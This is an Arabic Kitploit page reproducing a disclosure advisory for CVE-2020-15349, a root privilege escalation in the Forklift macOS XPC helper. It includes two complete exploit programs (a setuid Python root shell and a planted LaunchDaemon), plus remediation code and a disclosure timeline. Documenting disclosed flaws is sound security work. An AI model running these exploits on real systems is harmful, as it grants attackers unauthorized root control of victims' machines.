Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Forklift_LPE — وصف الثغرة الأمنية CVE-2020-15349 | Kitploit
أدوات/GitHubGitHub/traxes/forklift_lpe
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالالتعلم والتعليماستغلال الملفات الثنائية
GitHubtraxes/forklift_lpe

Forklift_LPE

وصف الثغرة الأمنية CVE-2020-15349

عرض المستودع
101منذ 5 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

تصعيد الامتيازات المحلي في Forklift 3.3.9

عند تثبيت Forklift، يتم تلقائياً تثبيت مساعد جديد باسم com.binarynights.ForkLiftHelper خاص بنظام Mac OS X في دليل /Library/PrivilegedHelperTools/. أدى تحليل هذا المساعد، الذي يعالج رسائل XPC، إلى اكتشاف طرق مختلفة لتصعيد الامتيازات من المستخدم إلى root على نظام Mac OS X.

عند قبول استدعاءات XPC، تُستخدم دالة HelperTool listener:shouldAcceptNewConnection وتحديداً (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)connection في الوضع الافتراضي. تُستخدم هذه الدالة لتنفيذ الخطوات الأولية لإنشاء اتصال XPC. عادةً، تؤدي هذه الدالة تفويض المتصل — ومع ذلك، فإن دالة com.binarynights.ForkLiftHelper لا تنفذ أي فحوصات تفويض. وبالتالي، من الممكن استدعاء أي دوال مكشوفة عبر XPC دون تفويض.

الدوال التالية مكشوفة عبر XPC للمتصل:

root@kitploit:~
@protocol _TtP4main21ForkLiftHelperProtcol_
- (void)changePermissions:(NSString *)arg1 permissions:(long long)arg2 reply:(void (^)(NSError *))arg3;
- (void)changeOwner:(NSString *)arg1 owner:(long long)arg2 group:(long long)arg3 reply:(void (^)(NSError *))arg4;
- (void)calculateDirectorySize:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)createDirectory:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)deleteItem:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)moveItem:(NSString *)arg1 targetPath:(NSString *)arg2 reply:(void (^)(NSError *))arg3;
- (void)copyItemAbort:(NSString *)arg1;
- (void)copyItemProgress:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)copyItem:(NSString *)arg1 targetPath:(NSString *)arg2 UUID:(NSString *)arg3 reply:(void (^)(NSError *))arg4;
- (void)moveToTrash:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)getHelperVersion:(void (^)(NSString *))arg1;
@end

استغلال Setuid

الطريقة الأولى لاستغلال هذا المساعد هي كما يلي:

الخطوة 1: تغيير ملكية هدف المفسّر

انسخ، على سبيل المثال، مفسّر بايثون إلى دليل يمكن للمستخدم التحكم به، واستدعِ دالة XPC changeOwner بالمعامل @"<path>" owner:0 group:0. سيؤدي هذا إلى تغيير ملكية مفسّر بايثون إلى root.

الخطوة 2: تعيين علم SUID

ثانياً، من الممكن تعيين بت SUID على المفسّر عن طريق إرسال طلب XPC إلى دالة changePermissions بالمعامل التالي @"<path>" permissions:2541. تمثل الصلاحيات 2541 في النظام الثُماني الرقم 4755، والذي يعيّن علم SUID على الملف الثنائي.

الخطوة 3: تصعيد الامتيازات المحلي

سيؤدي الأمر التالي إلى تشغيل قشرة (shell) بصلاحيات root:

root@kitploit:~
$/tmp/python_copied -c 'import pty; import os; os.setuid(0);pty.spawn("/bin/bash")'
# id
uid=0(root) [...]

الاستغلال الكامل

يرجى التأكد أولاً من نسخ مفسّر بايثون إلى /tmp بالاسم python_copied. يعرض الاستغلال التالي هذا النوع من تصعيد الامتيازات المحلي:

root@kitploit:~
//
//  main.m
//  build
//  gcc -framework Foundation exploit.m -o exploit
//  
//

#import <Foundation/Foundation.h>

static NSString* kXPCHelperMachServiceName = @"com.binarynights.ForkLiftHelper";

// The protocol that Forklift will vend as its XPC API.
@protocol _TtP4main21ForkLiftHelperProtcol_
- (void)changePermissions:(NSString *)arg1 permissions:(long long)arg2 reply:(void (^)(NSError *))arg3;
- (void)changeOwner:(NSString *)arg1 owner:(long long)arg2 group:(long long)arg3 reply:(void (^)(NSError *))arg4;
- (void)calculateDirectorySize:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)createDirectory:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)deleteItem:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)moveItem:(NSString *)arg1 targetPath:(NSString *)arg2 reply:(void (^)(NSError *))arg3;
- (void)copyItemAbort:(NSString *)arg1;
- (void)copyItemProgress:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)copyItem:(NSString *)arg1 targetPath:(NSString *)arg2 UUID:(NSString *)arg3 reply:(void (^)(NSError *))arg4;
- (void)moveToTrash:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)getHelperVersion:(void (^)(NSString *))arg1;
@end

int main(int argc, const char * argv[]) {
    @autoreleasepool {
        
        NSString*  _serviceName = kXPCHelperMachServiceName;

        NSXPCConnection* _agentConnection = [[NSXPCConnection alloc] initWithMachServiceName:_serviceName options:4096];
        [_agentConnection setRemoteObjectInterface:[NSXPCInterface interfaceWithProtocol:@protocol(_TtP4main21ForkLiftHelperProtcol_)]];
        [_agentConnection resume];

        //        run user script as root/
        [[_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error) {
            (void)error;
            NSLog(@"Connection Failure");
        }] changeOwner:@"/tmp/python_copied" owner:0 group:0 reply:^(NSError * err){
            NSLog(@"Reply, %@", err);
        }];
        [[_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error) {
            (void)error;
            NSLog(@"Connection Failure");
        }] changePermissions:@"/tmp/python_copied" permissions:2541 reply:^(NSError * err){
            NSLog(@"Reply, %@", err);
        }];
        
        NSLog(@"Done!");
    }
    return 0;
}

استغلال LaunchAgent

الطريقة الثانية لاستغلال هذا المساعد هي كما يلي:

كتابة Launch Agent جديد

بسبب استدعاء XPC moveItem، من الممكن نقل أي عنصر بصلاحيات root. وبالتالي، من الممكن كتابة ملف plist في دليل /tmp ثم نسخه إلى دليل /Library/LaunchDaemons/. تُستخدم المعاملات التالية لدالة moveItem: @"/tmp/com.sample.Load.plist" targetPath:@"/Library/LaunchDaemons/com.sample.Load.plist"

الاستغلال الكامل

سيضيف الكود التالي تلقائياً وكيل إطلاق جديداً يتم تشغيله عند إعادة التشغيل:

root@kitploit:~
//
//  main.m
//  build
//  gcc -framework Foundation exploit.m -o exploit
//

#import <Foundation/Foundation.h>

static NSString* kXPCHelperMachServiceName = @"com.binarynights.ForkLiftHelper";

// The protocol that Forklift will vend as its XPC API.
@protocol _TtP4main21ForkLiftHelperProtcol_
- (void)changePermissions:(NSString *)arg1 permissions:(long long)arg2 reply:(void (^)(NSError *))arg3;
- (void)changeOwner:(NSString *)arg1 owner:(long long)arg2 group:(long long)arg3 reply:(void (^)(NSError *))arg4;
- (void)calculateDirectorySize:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)createDirectory:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)deleteItem:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)moveItem:(NSString *)arg1 targetPath:(NSString *)arg2 reply:(void (^)(NSError *))arg3;
- (void)copyItemAbort:(NSString *)arg1;
- (void)copyItemProgress:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)copyItem:(NSString *)arg1 targetPath:(NSString *)arg2 UUID:(NSString *)arg3 reply:(void (^)(NSError *))arg4;
- (void)moveToTrash:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)getHelperVersion:(void (^)(NSString *))arg1;
@end

int main(int argc, const char * argv[]) {
    @autoreleasepool {
        NSString* my_plist = @"<?xml version=\"1.0\" encoding=\"UTF-8\"?>"
        "<!DOCTYPE plist PUBLIC \"-//Apple Computer//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">"
        "<plist version=\"1.0\">"
        "<dict>"
        "  <key>Label</key>"
        "  <string>com.sample.Load</string>"
        "  <key>ProgramArguments</key>"
        "  <array>"
        "      <string>/bin/zsh</string>"
      "      <string>-c</string>"
      "      <string>touch /Library/foobar.txt</string>"
        "  </array>"
        "    <key>RunAtLoad</key>"
        "    <true/>"
        "</dict>"
        "</plist>";
        
        [my_plist writeToFile:@"/tmp/com.sample.Load.plist" atomically:YES encoding:NSASCIIStringEncoding error:nil];
        
        NSString*  _serviceName = kXPCHelperMachServiceName;

        NSXPCConnection* _agentConnection = [[NSXPCConnection alloc] initWithMachServiceName:_serviceName options:4096];
        [_agentConnection setRemoteObjectInterface:[NSXPCInterface interfaceWithProtocol:@protocol(_TtP4main21ForkLiftHelperProtcol_)]];
        [_agentConnection resume];

        //        run user script as root/
        [[_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error) {
            (void)error;
            NSLog(@"Connection Failure");
        }] moveItem:@"/tmp/com.sample.Load.plist" targetPath:@"/Library/LaunchDaemons/com.sample.Load.plist" reply:^(NSError * err){
            NSLog(@"Reply, %@", err);
        }];
        NSLog(@"Done!");
    }
    return 0;
}

التوصية

يُوصى بفرض التحقق من التفويض عند استدعاء مساعد XPC.

يجب أن تشمل فحوصات التفويض هذه ما يلي:

  • أن يكون المتصل تطبيقاً موقّعاً صالحاً
  • أن يكون تطبيق المتصل محصّناً جيداً ضد هجمات حقن DYLIB (علم وقت التشغيل)
  • أن يحمل تطبيق المتصل معرّف الفريق (TeamID) الصحيح من الشركة البرمجية

يمكن العثور على مصدر ممتاز لفحوصات التفويض في المصدر [1].

يعرض المثال التالي لدالة shouldAcceptNewConnecton المراحل المختلفة لفحوصات التفويض الصحيحة:

root@kitploit:~
@interface NSXPCConnection(PrivateAuditToken)

// This property exists, but it's private. Make it available:
@property (nonatomic, readonly) audit_token_t auditToken;

@end

// In the NSXPCListenerDelegate:
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)connection {
   audit_token_t auditToken = connection.auditToken;
   NSData *tokenData = [NSData dataWithBytes:&auditToken length:sizeof(audit_token_t)];
   NSDictionary *attributes = @{(__bridge NSString *)kSecGuestAttributeAudit : tokenData};
   SecCodeRef code = NULL;
   if (SecCodeCopyGuestWithAttributes(NULL, (__bridge CFDictionaryRef)attributes, kSecCSDefaultFlags, &code) != errSecSuccess) {
       return NO;
   }
   // Before checking the requirement make sure that code signing flags
   // CS_HARD and CS_KILL are set. Dynamic code signature checks can only
   // check the code pages already swapped into memory, so make sure that
   // no malicious code can be loaded at a later time. You may want to
   // disable this check in debug builds.
   CFDictionaryRef csInfo = NULL;
   if (SecCodeCopySigningInformation(code, kSecCSDynamicInformation, &csInfo) != errSecSuccess) {
       return NO;
   } else {
       uint32_t csFlags = [((__bridge NSDictionary *)csInfo)[(__bridge NSString *)kSecCodeInfoStatus] intValue];
       CFRelease(csInfo);
       const uint32_t cs_hard = 0x100;         // don't load invalid pages
       const uint32_t cs_kill = 0x200;         // kill process if page is invalid
       const uint32_t cs_restrict = 0x800;     // prevent debugging
       const uint32_t cs_require_lv = 0x2000;  // Library Validation
       const uint32_t cs_runtime = 0x10000;    // hardened runtime
       if ((csFlags & (cs_hard | cs_kill)) != (cs_hard | cs_kill)) {
           // add all flags to check which are in your code signature!
           // In particular, we recommend cs_require_lv and cs_restrict.
           return NO;    // Not accepted because it can be tampered with
       }
   }

   NSString *requirementString = @"anchor apple generic and certificate leaf[subject.OU] = \"MyTeamIdentifier\"";
   SecRequirementRef requirement = NULL;

   // Check at least the peer's TeamID, e.g.
   // "anchor apple generic and certificate leaf[subject.OU] = MyTeamIdentifier"
   if (SecRequirementCreateWithString((__bridge CFStringRef)requirementString, kSecCSDefaultFlags, &requirement) != errSecSuccess) {
       abort(); // error in requirement string
   }

   OSStatus status = SecCodeCheckValidityWithErrors(code, kSecCSDefaultFlags, requirement, NULL);
   CFRelease(code);
   CFRelease(requirement);
   if (status != errSecSuccess) {
       return NO;
   }

   // further initialization of connection goes here...

   return YES;
}

الجدول الزمني للإفصاح

  • 08.06.2020 الاتصال الأولي عبر البريد الإلكتروني
  • 08.06.2020 الرد بطلب إرسال نفس البريد دون تشفير
  • 09.06.2020 متابعة بسؤال حول التشفير
  • 10.06.2020 الموافقة على الإفصاح المشفر
  • 12.06.2020 الإفصاح عن تصعيد الامتيازات المحلي
  • 15.06.2020 إصلاح جزئي لـ CVE-2020-15349 (تصعيد الامتيازات المحلي)
  • 16.06.2020 الإفصاح عن تصعيد امتيازات Entitlements
  • 19.06.2020 الإفصاح عن أن إصلاح CVE-2020-15349 كان جزئياً فقط
  • 19.08.2020 إصلاح CVE-2020-27192 والإصلاح النهائي لـ CVE-2020-15349

الموارد

[1] - https://blog.obdev.at/what-we-have-learned-from-a-vulnerability/

تنزيل الأداة